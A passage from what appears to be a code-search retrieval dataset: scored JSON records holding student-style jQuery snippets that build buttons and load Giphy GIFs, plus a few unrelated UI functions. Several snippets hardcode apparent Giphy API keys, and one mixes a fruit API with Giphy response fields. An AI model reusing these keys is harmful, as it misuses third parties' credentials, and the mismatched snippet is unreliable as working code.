'\"';\r\n\r\n function showRandomGif() {\r\n $.ajax({\r\n url: queryURL,\r\n method: 'GET'\r\n })\r\n\r\n .done(function(response) {\r\n console.log(response);\r\n var results = response.data;\r\n var gifDiv = $('<div class =\"items\">');\r\n var gif = $('<img>');\r\n gif.addClass(\"imgClass\");\r\n gif.attr('data-state', 'still');\r\n gif.attr('src', results.image_original_url+\"_s\");\r\n gif.attr('data-still', results.image_original_url+\"_s\");\r\n gif.attr('data-animate', results.image_original_url);\r\n $('.gifsHere').prepend(gif);\r\n });\r\n }\r\n\r\n\r\n for (var i = 0; i < 10; i++) {\r\n\r\n showRandomGif();\r\n }\r\n\r\n $('.imgClass').on('click', function() {\r\n\r\n var state = $(this).attr('data-state');\r\n\r\n if (state == 'still') {\r\n $(this).attr('src', $(this).data('animate'));\r\n $(this).attr('data-state', 'animate');\r\n } else {\r\n $(this).attr('src', $(this).data('still'));\r\n $(this).attr('data-state', 'still');\r\n }\r\n\r\n });\r\n });\r\n\r\n }", "title": "" }, { "docid": "f6c80df6cdfa458c87b864a8c988fd99", "score": "0.53079844", "text": "function renderButtons() {\n\n // take each element inside of gifs and create a button with the element text inside button\n // display button on the html \n\n $(\"#buttons-view\").empty();\n\n for (var i = 0; i < gifs.length; i++) {\n var button = $(\"<button>\").text(gifs[i]).addClass(\"gif-btn btn\").data(\"gif\", gifs[i]);\n $(\"#buttons-view\").append(button);\n }\n}", "title": "" }, { "docid": "42b398dbe67a48e478b99f3eabac7a4f", "score": "0.5304375", "text": "function renderButtons() {\n // Deleting the gif buttons prior to adding new gif buttons\n // (this is necessary otherwise we will have repeat buttons)\n $(\"#gif-button\").empty();\n\n // Looping through the array of gifs\n for (var x = 0; x < gifs.length; x++) {\n // Then dynamicaly generating buttons for each gif in the array.\n // This code $(\"<button>\") is all jQuery needs to create the start and end tag. (<button></button>)\n var gifButton = $(\"<button>\");\n // Adding a class\n gifButton.addClass(\"gif-button\");\n // Adding a data-attribute with a value of the gif at index i\n gifButton.attr(\"data-name\", gifs[x]);\n // Providing the button's text with a value of the gif at index i\n gifButton.text(gifs[x]);\n // Adding the button to the HTML\n $(\"#gif-button\").append(gifButton);\n }\n}", "title": "" }, { "docid": "f6f6a8bcb05d1ce24aa70b3baeca7850", "score": "0.5297808", "text": "function logofyAPI(){\n setTimeout(function(){\n if (instagramActive){\n $(\".social-api\").prepend('<span class=\"ss-icon ss-social logo\"></span>');\n twitterAPI.find('span.logo').prepend(twitterID);\n instagramAPI.find('span.logo').prepend(instagramID);\n // rdioAPI.find('span.logo').prepend(rdioID);\n readmillAPI.find('span.logo').prepend(readmillID);\n centerAPI();\n activateAPI();\n }\n else{\n \treturn;\n }\n }, 1000);\n}", "title": "" }, { "docid": "409307f552ea1bdbbbe2580c7d207019", "score": "0.5283246", "text": "set movie(movie) {\n this.innerHTML = \n `<div class=\"mvc\">\n <div class=\"mvp\">\n <img src=\"./assets/p/${movie.poster}.webp\" alt=\"${movie.title}\">\n </div>\n <h3 title=\"${movie.title} (${parseInt(movie.release_date)})\">${movie.title}</h3>\n <div class=\"mvb\">\n <button onclick=\"doSomething(this)\" class=\"btn-trailer\" data-trailers=\"${movie.trailers}\">\n <span>\n <svg class=\"svg-icon\" viewBox=\"0 0 20 20\">\n <path d=\"M17.919,4.633l-3.833,2.48V6.371c0-1-0.815-1.815-1.816-1.815H3.191c-1.001,0-1.816,0.814-1.816,1.815v7.261c0,1.001,0.815,1.815,1.816,1.815h9.079c1.001,0,1.816-0.814,1.816-1.815v-0.739l3.833,2.478c0.428,0.226,0.706-0.157,0.706-0.377V5.01C18.625,4.787,18.374,4.378,17.919,4.633 M13.178,13.632c0,0.501-0.406,0.907-0.908,0.907H3.191c-0.501,0-0.908-0.406-0.908-0.907V6.371c0-0.501,0.407-0.907,0.908-0.907h9.079c0.502,0,0.908,0.406,0.908,0.907V13.632zM17.717,14.158l-3.631-2.348V8.193l3.631-2.348V14.158z\"></path>\n </svg>\n </span>\n Trailer\n </button>\n <button class=\"btn-details\" data-mid=\"${movie.id}\">\n <span>\n <svg class=\"svg-icon\" viewBox=\"0 0 20 20\">\n <path d=\"M10,1.445c-4.726,0-8.555,3.829-8.555,8.555c0,4.725,3.829,8.555,8.555,8.555c4.725,0,8.555-3.83,8.555-8.555C18.555,5.274,14.725,1.445,10,1.445 M10,17.654c-4.221,0-7.654-3.434-7.654-7.654c0-4.221,3.433-7.654,7.654-7.654c4.222,0,7.654,3.433,7.654,7.654C17.654,14.221,14.222,17.654,10,17.654 M14.39,10c0,0.248-0.203,0.45-0.45,0.45H6.06c-0.248,0-0.45-0.203-0.45-0.45s0.203-0.45,0.45-0.45h7.879C14.187,9.55,14.39,9.752,14.39,10 M14.39,12.702c0,0.247-0.203,0.449-0.45,0.449H6.06c-0.248,0-0.45-0.202-0.45-0.449c0-0.248,0.203-0.451,0.45-0.451h7.879C14.187,12.251,14.39,12.454,14.39,12.702 M14.39,7.298c0,0.248-0.203,0.45-0.45,0.45H6.06c-0.248,0-0.45-0.203-0.45-0.45s0.203-0.45,0.45-0.45h7.879C14.187,6.848,14.39,7.051,14.39,7.298\"></path>\n </svg>\n </span>\n </button>\n </div>\n </div>`;\n }", "title": "" }, { "docid": "dad8c2793c37f468a2428cf48cab9694", "score": "0.52737564", "text": "function displayTVInfo() {\n\n // In this case, the \"this\" keyword refers to the button that was clicked\n var tvShow = $(this).attr(\"data-name\");\n\n // Empty out show-view div so that it doesn't append the new set of gifs to the old\n $(\"#show-view\").empty();\n\n // Constructing a URL to search Giphy for the topic\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + tvShow + \"&api_key=eEacBKWjHC3UuNSgSp893vai6gnXgBzL&limit=10\";\n\n // Creating an AJAX call for the specific tv show button being clicked\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response) {\n\n // Storing an array of results in the results variable\n var results = response.data;\n\n // Looping over every result item\n for (var i = 0; i < results.length; i++) {\n\n // Creating a div to hold the movie\n var tvDiv = $(\"<div class='col-md-4 mb-3'>\");\n\n // Storing the rating data\n var rating = results[i].rating;\n \n // Creating an element to have the rating displayed\n var ratingHeading = $(\"<h4 class='mb-3 text-muted'>\").text(\"Rating: \" + rating);\n\n // Displaying the rating\n tvDiv.append(ratingHeading);\n\n // Retrieving the URL for the images\n var imgURL = results[i].images.downsized.url;\n var stillImgURL = results[i].images.downsized_still.url;\n\n // Creating an element to hold the image\n var image = $(\"<img>\").attr(\"src\", stillImgURL).attr(\"data-still\", stillImgURL).attr(\"data-animate\", imgURL).attr(\"data-state\", \"still\").attr(\"class\", \"gif\").attr(\"width\", \"200\");\n\n // Appending the image\n tvDiv.append(image);\n\n // Display the gifs\n $(\"#show-view\").append(tvDiv);\n }\n\n // Animate giphy on click\n $(\".gif\").on(\"click\", function() {\n \n // Get the value of the data-state attribute\n var state = $(this).attr(\"data-state\");\n \n // If the clicked image's state is still, update its src attribute to what its data-animate value is.\n // Then, set the image's data-state to animate\n if (state === \"still\") {\n $(this).attr(\"src\", $(this).attr(\"data-animate\"));\n $(this).attr(\"data-state\", \"animate\");\n\n // Else set src to the data-still value\n } else {\n $(this).attr(\"src\", $(this).attr(\"data-still\"));\n $(this).attr(\"data-state\", \"still\");\n }\n });\n });\n}", "title": "" }, { "docid": "9bf7683506debf7a7569bef7acd9dc43", "score": "0.5258837", "text": "function renderButtons() {\n\n // Error handle for repeat buttons clicks\n $(\"#gifContainer\").empty();\n\n // For loop to look at the array of gifs\n for (var i = 0; i < initialArray.length; i++) {\n\n // Add new buttons to the array\n var addNew = $(\"<button>\");\n // Add a class for the gif button\n addNew.addClass(\"gif-btn btn btn-outline-light mr-2 mb-2\");\n // Add a data-attribute\n addNew.attr(\"data-name\", initialArray[i]);\n // Add text to initial buttons\n addNew.text(initialArray[i]);\n // Adding the button to the buttons-view div\n $(\"#gifContainer\").append(addNew);\n\n // console.log(initialArray);\n }\n }", "title": "" }, { "docid": "1392dfe5a1119387645fd4fa78c3895c", "score": "0.52523816", "text": "function renderButtons() {\n\n // Deleting the searchButtons prior to adding new movies\n // (this is necessary otherwise you will have repeat buttons)\n $(\"#buttons-view\").empty();\n\n // Looping through the array of searches\n for (var i = 0; i < searchArray.length; i++) {\n\n // Then dynamicaly generating buttons for each search in the array\n // This code $(\"<button>\") is all jQuery needs to create the beginning and end tag. (<button></button>)\n var searchButton = $(\"<button>\");\n // Adding a class of gifs to our button\n searchButton.addClass(\"search\");\n // Adding a data-attribute\n searchButton.attr(\"gif-name\", searchArray[i]);\n // Providing the initial button text\n searchButton.text(searchArray[i]);\n // Adding the button to the buttons-view div\n $(\"#buttons-view\").append(searchButton);\n\n\n\n\n }\n }", "title": "" }, { "docid": "872461750beb93295a9c005f6cb75f44", "score": "0.5250818", "text": "function createButtons(){\n\t$('#characterButtons').empty();\n\tfor(var i = 0; i < characterName.length; i++){\n\t\tvar showButton = $('<button type=\"button\" class=\"btn btn-primary\">').text(characterName[i]).addClass('showButton').attr({'data-name': characterName[i]});\n\t\t$('#characterButtons').append(showButton);\n\t}\n\n\t//displays gifs on click\n\t$('.showButton').on('click', function(){\n\t\t// this allows the searched name to be seached in the GIPHY API url\n\t\t$('.display').empty();\n\t\tvar nameSearch = $(this).data('name');\n\t\tvar queryURL = \"http://api.giphy.com/v1/gifs/search?q=\" + nameSearch + \"&limit=10&api_key=524a113ea2eb4aaa846dc412bba0fdea\";\n\t\t\n\t\t$.ajax({\n\t\t\turl: queryURL, \n\t\t\tmethod: 'GET'\n\t\t}).done(function(event){\n\t\t\tcurrentGif = event.data;\n\t\t\t\n\t\t\t$.each(currentGif, function(index,value){\n\t\t\t\tanimatedGif = value.images.original.url;\n\t\t\t\tpausedGif = value.images.original_still.url;\n\t\t\t\t\n\t\t\t\t// Gives the gif its rating\n\t\t\t\tvar thisRating = value.rating;\n\t\t\t\tvar rating = $('<h5>').html('Rated: '+thisRating).addClass('ratingStyle');\n\t\t\t\t\n\t\t\t\t//Animates GIF on click\n\t\t\t\tsittingGif = $('<img>').attr('data-animated', animatedGif).attr('data-still', pausedGif).attr('src', pausedGif).addClass('.clickPlay');\n\n\t\t\t\t// shows entire gif plus its raiting\n\t\t\t\tvar fullGifDisplay = $('<div class=\"panel panel-default\">').append(rating, sittingGif);\n\t\t\t\t$('.display').append(fullGifDisplay);\n\t\t\t});\n\t\t});\n\t});\n}", "title": "" }, { "docid": "a436be99d02d63a288c8049182b9a380", "score": "0.52507234", "text": "function renderApiInfo(streamer, game, logoHtml) {\n var streamerLink = 'https://www.twitch.tv/' + streamer;\n var nameHtml = '<a href=\"' + streamerLink + '\" target=\"_blank\">' + streamer + '</a>';\n var gameHtml = '<p>' + game + '</p>';\n var statusHtml = '<i class=\"fa fa-' + (game === '' ? 'exclamation' : 'check') + '\"></i>';\n $('#' + streamer + ' .logoHolder').append(logoHtml);\n $('#' + streamer + ' .info').append(nameHtml);\n $('#' + streamer + ' .info').append(gameHtml); \n $('#' + streamer + ' .statusHolder').append(statusHtml);\n }", "title": "" }, { "docid": "d3990df275cca26e7e11dd37539db415", "score": "0.5240781", "text": "function displayGif(response){\n var obj = JSON.parse(response);\n var gifId = document.getElementById(obj.gifName+'viewer');\n gifId.src=obj.filePath;\n var playButton = document.getElementById(obj.gifName+'player');\n playButton.style.display=\"\";\n var playLEDButton = document.getElementById(obj.gifName+'playerLed');\n playLEDButton.style.display=\"\";\n var playLEDButton = document.getElementById(obj.gifName+'playerLedStop');\n playLEDButton.style.display=\"none\";\n var downloadButton = document.getElementById(obj.gifName+'downloader');\n downloadButton.style.display=\"none\";\n}", "title": "" }, { "docid": "dd00135c852dca4e803601c82382c78a", "score": "0.5226812", "text": "function renderButtons() {\n\n // Delete the show buttons prior to adding a new one (So there are no duplicates)\n $(\"#buttons-view\").empty();\n\n // Looping through the array of shows to create buttons\n for (var i = 0; i < showButtons.length; i++) {\n\n // Then dynamicaly generating buttons for each show in the array\n var a = $(\"<button>\");\n\n // Add type of button for bootstrap buttons\n a.attr(\"type\", \"button\");\n // Adding a class of btn btn-success to our button for bootstrap buttons\n a.addClass(\"btn btn-success\");\n // Adding a data-attribute\n a.attr(\"data-name\", showButtons[i]);\n // Providing the initial button text\n a.text(showButtons[i]);\n // Adding the button to the buttons-view div\n $(\"#buttons-view\").append(a);\n }\n\n // Once buttons are rendered bind click event to them\n $(\".btn-success\").on(\"click\", handleGifButtonClick);\n\n }", "title": "" }, { "docid": "622cffea906c1219333c6f4763d882ec", "score": "0.52230066", "text": "function renderButtons() {\n\n // Deleting the movies prior to adding new movies\n // (this is necessary otherwise you will have repeat buttons)\n $(\"#buttons-view\").empty();\n\n // Looping through the array of movies\n for (var i = 0; i < giphyArray.length; i++) {\n\n // Then dynamicaly generating buttons for each movie in the array\n // This code $(\"<button>\") is all jQuery needs to create the beginning and end tag. (<button></button>)\n var a = $(\"<button>\");\n // Adding a class of movie-btn to our button\n a.addClass(\"giphy-btn\");\n // Adding a data-attribute\n a.attr(\"data-name\", giphyArray[i]);\n // Providing the initial button text\n a.text(giphyArray[i]);\n // Adding the button to the buttons-view div\n $(\"#buttons-view\").append(a);\n }\n}", "title": "" }, { "docid": "0ae90613cd4834b2acce24c4e2b7d50d", "score": "0.5216816", "text": "renderGenius() {\n return (\n <>\n <p className=\"style4\">Genius is {this.state.geniusAcc}</p>\n <div className=\"hrzCC\">\n <Button shape=\"pill\" color=\"fill\" label=\"skip\" id=\"skip-genius\" onClick={this.changePage.bind(this, 1)} />\n <Button shape=\"pill\" color=\"fill\" label=\"authenticate\"\n href={`https://api.genius.com/oauth/authorize?response_type=code&client_id=${GENIUS_CLIENT_ID}${GENIUS_SCOPES ? `&scope=${encodeURIComponent(GENIUS_SCOPES)}` : ''}&redirect_uri=${encodeURIComponent(GENIUS_REDIRECT_URI)}`}\n />\n </div>\n </>\n )\n }", "title": "" }, { "docid": "4343df7287988f2f6802fd1078940940", "score": "0.5213238", "text": "function renderButtons() {\n\n $(\"#buttons-view\").empty()\n\n // Looping through initial array\n for (i = 0; i < giffButtons.length; i++){\n var button = $(\"<button>\"); \n button.addClass(\"giphy\");\n button.attr(\"data-giphy\", giffButtons[i]);\n button.text(giffButtons[i]);\n $(\"#buttons-view\").append(button)\n \n }\n}", "title": "" }, { "docid": "3d6b9aa6312b5771e8d5c0ff263a8981", "score": "0.52081335", "text": "function displayMusicianInfo() {\n\n var plant = $(this).attr(\"data-name\");\n var queryURL = \"https://tropicalfruitandveg.com/api/tfvjsonapi.php?tfvitem=\" + plant;\n\n // Creates AJAX call for the specific musician button being clicked\n axios.get({url: queryURL}).then(function(response){\n\n\n // Log the queryURL\n console.log(queryURL);\n\n // Log the resulting object\n console.log(response.results);\n // storing the data from the AJAX request in the results variable\n var results = response.data;\n\n for (var i = 0; i < results.length; i++) {\n\n // Creating a div to hold musician\n var musicianDiv = $(\"<div class='gify'>\");\n\n \n\n // Retrieving the URL for the image\n var imgURL = response.Poster;\n\n // Creating an element to hold the image\n var image = $(\"<img>\");\n\n image.attr(\"src\", results[i].images.fixed_height_still.url).attr(\"data-still\", results[i].images.fixed_height_still.url).attr(\"data-animate\", results[i].images.fixed_height.url).attr(\"data-state\", \"still\").addClass(\"gif\");\n\n // Appending the image\n musicianDiv.append(image);\n\n // Storing the rating data and Creating an element to have the rating displayed\n var rating = $(\"<p>\").text(\"Rating: \" + results[i].rating);\n\n // Displaying the rating\n musicianDiv.append(rating);\n\n // Putting the entire movie above the previous movies\n $(\"#musician-view\").prepend(musicianDiv);\n }\n\n //Pause and play giph\n\n $(\".gif\").on(\"click\", function() {\n // The attr jQuery method allows us to get or set the value of any attribute on our HTML element\n var state = $(this).attr(\"data-state\");\n // If the clicked image's state is still, update its src attribute to what its data-animate value is.\n // Then, set the image's data-state to animate\n // Else set src to the data-still value\n if (state === \"still\") {\n $(this).attr(\"src\", $(this).attr(\"data-animate\"));\n $(this).attr(\"data-state\", \"animate\");\n } else {\n $(this).attr(\"src\", $(this).attr(\"data-still\"));\n $(this).attr(\"data-state\", \"still\");\n }\n });\n });\n }", "title": "" }, { "docid": "3469f44a76af646b485b59ae05e1a645", "score": "0.52017844", "text": "function displayGIF() {\n\n let $q = $(this).attr(\"data-name\");\n let $apiKey = \"wBIzukv6ZqgmL9LunKnFtolO0DZxGKzm\";\n let queryURL = `https://api.giphy.com/v1/gifs/search?q=${$q}&limit=10&api_key=${$apiKey}`;\n\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function (response) {\n // console.log(response);\n\n // Clear the div before loading a new search\n $(\"#gif-viewer\").empty();\n\n for (var j = 0; j < 10; j++) {\n\n let gifData = response.data[j];\n \n //Grab URL of still and animated\n let gifStill = gifData.images.fixed_height_still.url;\n // $(gifStill).data('still');\n let gifPlay = gifData.images.fixed_height.url;\n // $(gifPlay).data('play');\n \n // Add img tag with attribute of source and var to find it\n let gifImg = $(\"<img>\").attr(\"src\", gifStill);\n \n let gifRating = gifData.rating;\n gifRating = $('<p>').text(\"Rating: \" + gifRating);\n \n let imgDiv = $(`<div class=\"gifCard card\">`);\n imgDiv.append(gifImg, gifRating);\n \n // Append image and rating to the div with id of gif-viewer\n $(\"#gif-viewer\").append(imgDiv);\n \n // While pointer is on gif, will play\n $(gifImg).mouseover(function () {\n $(this).attr(\"src\", gifPlay); \n });\n // After mouse moves off gif, back to still image\n $(gifImg).mouseout(function () {\n $(this).attr(\"src\", gifStill); \n });\n\n renderBtn();\n };\n });\n }", "title": "" }, { "docid": "3d2be6959022086748fda7b56ddf91b3", "score": "0.51953346", "text": "function renderGifs() {\n $(\".button-clicks\").empty();\n for (var i = 0; i < topics.length; i++) {\n var a = $(\"<button>\");\n a.addClass(\"gif\");\n a.attr(\"data-name\", topics[i]);\n a.text(topics[i]);\n $(\".button-clicks\").append(a);\n }\n}", "title": "" }, { "docid": "2e5fbcd7553e601c9c923a1479afabb1", "score": "0.5191995", "text": "function renderButtons() {\n\n // Deleting the gifs prior to adding new gifs\n // (this is necessary otherwise you will have repeat buttons)\n $(\"#buttons-view\").empty();\n\n // Looping through the array of animals\n for (var i = 0; i < animals.length; i++) {\n\n // Then dynamicaly generating buttons for each animal in the array\n // This code $(\"<button>\") is all jQuery needs to create the beginning and end tag. (<button></button>)\n var a = $(\"<button>\");\n // Adding a class of animal-btn to our button\n a.addClass(\"animal-btn\");\n // Adding a data-attribute\n a.attr(\"data-name\", animals[i]);\n // Providing the initial button text\n a.text(animals[i]);\n // Adding the button to the buttons-view div\n $(\"#buttons-view\").append(a);\n }\n }", "title": "" }, { "docid": "8c66294ad8c6855ad45259f1793285a4", "score": "0.51899713", "text": "displayButtonAnimated() {\n //Button\n rectMode(CENTER);\n textSize(this.buttonAnimated.size);\n textFont(this.buttonAnimated.textFont);\n\n stroke(this.buttonAnimated.strokeColor);\n strokeWeight(this.buttonAnimated.strokeWeight);\n noFill();\n rect(\n this.buttonAnimated.x,\n this.buttonAnimated.y,\n this.buttonAnimated.width,\n this.buttonAnimated.height,\n this.buttonAnimated.cornerRadius\n );\n\n fill(this.buttonAnimated.color);\n textAlign(CENTER, CENTER);\n text(\n this.buttonAnimated.text,\n this.buttonAnimated.x,\n this.buttonAnimated.y\n );\n }", "title": "" }, { "docid": "bddf262b529f042e912a709cc6b0f8fd", "score": "0.5186922", "text": "function renderButtons() {\n $(\".buttons-Go-Here\").empty();\n for (var i = 0; i < gifArray.length; i++) {\n console.log(\"Making buttons for \" + gifArray[i]);\n var a = $(\"<button>\");\n a.addClass(\"gif btn btn-primary mx-1 mb-1\");\n a.attr(\"data-name\", gifArray[i]);\n a.text(gifArray[i]);\n $(\".buttons-Go-Here\").append(a);\n }\n }", "title": "" }, { "docid": "36a31689c18a7f5bd5d4642305e1b4e3", "score": "0.51812184", "text": "function renderButtons() {\n\n // Deleting buttons prior to adding new buttons so there are no repeats\n $(\"#buttons-view\").empty();\n\n // Looping through the array of tv shows\n for (var i = 0; i < tvShows.length; i++) {\n\n // Then dynamicaly generate buttons for each tv show in the array\n var newBtn = $(\"<button class='btn btn-primary btn-sm' data-name='\" + tvShows[i] + \"'>\").text(tvShows[i]);\n\n // Adding the button to the buttons-view div\n $(\"#buttons-view\").append(newBtn);\n }\n}", "title": "" }, { "docid": "ee9e77fbbf49ec7b67ee591c3d61e6c7", "score": "0.5170216", "text": "function displayCartoonGifs() {\n var cartoon = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" +\n cartoon + \"&limit=10&api_key=ePDSE2y9cv9VEc9YPNH3YTNY8VkKotHx\";\n // Creating an AJAX call for the specific button being clicked\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function (response) {\n console.log(queryURL);\n console.log(response.data);\n\n var results = response.data;\n // Try using a loop that appends a button for each string in the array.\n // Looping through the array of characters \n for (var i = 0; i < results.length; i++) {\n\n if (results[i].rating !== \"r\" && results[i].rating !== \"pg-13\") {\n\n // Creating a paragraph tag with the result item's rating\n var p = $(\"<p>\");\n\n // Storing the rating data\n var rating = results[i].rating;\n\n }// Creating a div to hold the cartoon\n var gifDiv = $(\"<div class='gif'>\");\n // Creating an element to hold the image\n var image = $(\"<img>\");\n //makes image animated or still\n var defaultAnimatedSrc = results[i].images.fixed_height.url;\n var staticSrc = results[i].images.fixed_height_still.url;\n\n image.addClass(\"gifImage\");\n image.attr('title', \"Rating: \" + results[i].rating);\n image.attr(\"data-state\", \"still\");\n image.attr(\"src\", staticSrc);\n image.attr(\"data-still\", staticSrc);\n image.attr(\"data-animate\", defaultAnimatedSrc);\n\n // Creating an element to have the rating displayed\n var rateDisplay = $(\"<p>\").text(\"Rating: \" + rating);\n // Displaying the rating -- Need this for display of gifs\n gifDiv.append(rateDisplay);\n gifDiv.append(image)\n gifDiv.append(p)\n\n $(\"#seeGif\").prepend(gifDiv);\n // Prependng the animalDiv to the HTML page in the \"#gifs-appear-here\" div\n $(\"#gifs-appear-here\").prepend(gifDiv);\n }\n });\n}", "title": "" }, { "docid": "ac02175c3289ea34c9da8c5c6a5f14b1", "score": "0.51683176", "text": "function renderButtons() {\n // clears out the div that the buttons go in\n $(\"#buttons-view\").empty();\n // Loops through the topics array, creates a button for each member with the name of the movie on it, then places the buttons on the page\n for (var i = 0; i < topics.length; i++) {\n\n var a = $(\"<button>\");\n a.addClass(\"gif btn btn-primary mr-3 mt-3 mb-3\");\n a.attr({\"data-name\": topics[i].movie, type: \"button\"});\n a.text(topics[i].movie);\n $(\"#buttons-view\").append(a);\n }\n }", "title": "" }, { "docid": "00ea01156fdeaf97042f8a030ecb418c", "score": "0.5167752", "text": "function buttonClicked() {\n\n // this part empties the container of any other gifs we might have been displaying from clicking another button.\n $(\"#activities\").empty();\n\n // then we're setting variables that grab the attribute of the clicked button (type) and how to make the query string (queryURL).\n var type = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + type + \"&limit=10\" + \"&api_key=dc6zaTOxFJmzC\";\n\n // and now, placing the Giphy API call using the Get method:\n $.ajax({\n url: queryURL,\n method: \"GET\"\n // this done / response bit is our callback once the ajax function is done.\n }).done(function(response) {\n // and here's where we tell the data from our button clicked where to go (via the displayDataNode function defined a little further below). We're using forEach because the JSON response is an array for which we want all 10 results (we set a limit of 10 in the query string).\n response.data.forEach(displayDataNode);\n });\n }", "title": "" }, { "docid": "69745b758d64a8be9dd6d3322bfa217b", "score": "0.5166844", "text": "function displayGifButtons(){\n\t\t$(\"#buttons-view\").empty(); //erases anything in this div so it does not duplicate the results\n\t\tfor(var i=0; i < characters.length; i++){\n\t\t\tvar gifButton = $(\"<button>\");\n\t\t\tgifButton.addClass(\"character\");\n\t\t\tgifButton.addClass(\"btn btn-primary\");\n\t\t\tgifButton.attr(\"data-name\", characters[i]);\n\t\t\tgifButton.text(characters[i]);\n $(\"#buttons-view\").append(gifButton);\n\t\t}\n\t}", "title": "" }, { "docid": "cf329a67fb17aab5cc0de22504ab821d", "score": "0.5164564", "text": "function displaygiphyInfo() {\n var jet = $(this).attr('data-name');\n var jetTrimmed = $.trim(jet); // trim extra spaces\n jetTrimmed = jetTrimmed.replace(/ /g, \"+\"); // change space to +\n\n var queryURL = \"http://api.giphy.com/v1/gifs/search?q=\" + jetTrimmed + \"&limit=10&api_key=dc6zaTOxFJmzC \";\n // Creates AJAX call for the specific jet being \n $.ajax({\n url: queryURL,\n method: 'GET'\n }).done(function(response) {\n console.log(response);\n\n var state = 'still';\n for (i = 0; i < 10; i++) {\n // Creates a generic div to hold the giphy\n var gifDiv = $('<div class=\"giphy\">');\n var gifDiv = $('<div>').attr('class', 'giphy');\n // Creates an element to have the rating displayed\n var rating = $('<p>').text(\"Rating: \" + response.data[i].rating);\n var data_animate = response.data[i].images.downsized_medium.url;\n var data_still = response.data[i].images.original_still.url;\n // rating\n gifDiv.append(rating);\n\n // Creates an element to hold the image \n var image = $('<img>').attr(\"src\", data_still); //response.data[i].images.downsized_medium.url);\n image.attr('data-state', 'still');\n image.attr('data-still', data_still);\n image.attr('data-animate', data_animate);\n image.attr('class', 'animeImage');\n // Appends the image\n gifDiv.append(image);\n\n // Puts the entire jet above the previous jets.\n $('#jetsView').prepend(gifDiv);\n }\n });\n\n }", "title": "" }, { "docid": "9c68fdb706f17b642ec33911d6aa2016", "score": "0.51580596", "text": "function renderButtons() {\n\t$(\"#buttons\").empty(); // deleting the sport buttons prior to adding new sport buttons to prevent repeat buttons\n\n\t\t// Looping through the array of topics\n\t\tfor (var i = 0; i < topics.length; i++) {\n\t\t// Dynamicaly generate buttons for each topic in the array.\n\t\tvar gifButton = $(\"<button>\");\n\t\tgifButton.addClass(\"sport\"); // Adding a class\n\t\t//gifButton.addClass(\"btn btn-default\"); \n\t\tgifButton.attr(\"data-name\", topics[i]); // Adding a data-attribute with a value of the topic at index i\n\t\tgifButton.text(topics[i]); // Provide button's text with the value of the topic at index i\n\t\t$(\"#buttons\").append(gifButton); // Adding the button to HTML\n\t\t}\t\n\t}", "title": "" }, { "docid": "064ae3ad250b4be9acf332b8b531bf21", "score": "0.5157475", "text": "function displayGiphyInfo() {\n \n var giphy = $(this).attr(\"data-name\");\n var queryURL = \"https://www.omdbapi.com/?t=\" + giphy + \"&y=&plot=short&apikey=trilogy\";\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + giphy + \"&limit=10&api_key=wslWpWhssAgYDK6zVXacBDsacT47flr4\"\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response) {\n for (var limit = 0; limit < 10; limit++){\n // create a var to hold an image\n var image = $(\"<img>\").attr(\"src\", response.data[limit].images.original.url);\n //add a class to each gif\n image.addClass(\"gifImage\");\n //add a attribute to each gif\n image.attr(\"thisImageURL\", response.data[limit].images.original.url);\n //display the image to a DOM location\n $(\"#movies-view\").prepend(image);\n }\n });\n }", "title": "" }, { "docid": "e850529d4eb14e4ce2d28db009bc2891", "score": "0.51568466", "text": "function renderButtons() {\n $(\".buttons-view\").empty();\n for (var i = 0; i < sports.length; i++) {\n var gifButton = $(\"<button>\");\n gifButton.addClass(\"sport btn btn-default\");\n gifButton.attr(\"data-name\", sports[i]);\n gifButton.text(sports[i]);\n $(\".buttons-view\").append(gifButton);\n console.log(sports[i]);\n }\n}", "title": "" }, { "docid": "89455f0c03f65088104e596f00e06ac8", "score": "0.51514804", "text": "function renderKeyButtons() {\n let $keyButton;\n const SUPPORTED_KEYS = [ 'C', 'Db', 'D', 'Eb', 'E', 'F', 'Gb', 'G', 'Ab', 'A', 'Bb', 'B'];\n SUPPORTED_KEYS.forEach(note => {\n $keyButton = $('<button>').addClass('btn btn-primary').text(note).attr('id', note);\n $keyButton.click(k => {\n clearStaff();\n renderLick(transposeLickByKey(lick, k.target.id));\n });\n $('#keys').append($keyButton);\n });\n\n let $randomButton = $('<button>').addClass('btn btn-primary').text('Random').attr('id', 'random');\n $randomButton.click(() => {\n clearStaff();\n renderLick(transposeLickByKey(lick, \n SUPPORTED_KEYS[Math.floor(Math.random() * SUPPORTED_KEYS.length)])\n );\n });\n $('#keys').append($randomButton);\n}", "title": "" }, { "docid": "60f5660269b93605b79467d04d5cd8c9", "score": "0.51463723", "text": "function generateButtons() {\n for (let i = 0; i < Object.keys(dat.charts[0].data).length; i++) {\n let button = document.createElement(\"button\");\n button.setAttribute(\"id\", \"c-button_\"+i);\n button.classList.add(\"chart-button\", \"btn-sm\", \"btn-selector\");\n button.innerHTML = Object.keys(dat.charts[0].data)[i];\n // setting up first button as active\n if (i === 0) {\n button.classList.add(\"active\");\n }\n // setting up button actions\n button.addEventListener(\"click\", function() {\n analyzeState(); // checking current visible state\n myChart.data.datasets = generateDataSet(Object.keys(dat.charts[0].data)[i]); // generate datasets\n myChart.update(); // update chart\n clearState(); // clear buttons states\n this.classList.add(\"active\"); // set active to current\n })\n document.getElementById(\"myChartNav\").appendChild(button);\n }\n }", "title": "" }, { "docid": "a5c1986dcc74a14b94f974c1305c2dc6", "score": "0.5139326", "text": "function renderButtons() {\n\n uniqueAnimals = unique(animals) //temp arr to dedup animals arr\n\n// Arrays animals dedup to uniqueAnimals //WORKING\n function unique(animals) {//Pass in animals arr\n var result = [];//store dedup arr\n $.each(animals, function(i, e) {//for each animal index, element\n if ($.inArray(e, result) == -1) result.push(e);//if any element returns -1 push to result arr\n });\n return result;\n }\n\n// Delete the animal buttons prior to adding new animal buttons. Necessary to avoid repeat buttons\n $(\"#animals-view\").empty();\n\n for (var i = 0; i < uniqueAnimals.length; i++) {// Looping through the array of uniqueAnimals\n var a = $(\"<button>\");// Then dynamicaly generating buttons for each animal in the array\n a.addClass(\"animal\");// Add a class of animal\n a.attr(\"data-name\", uniqueAnimals[i]);// 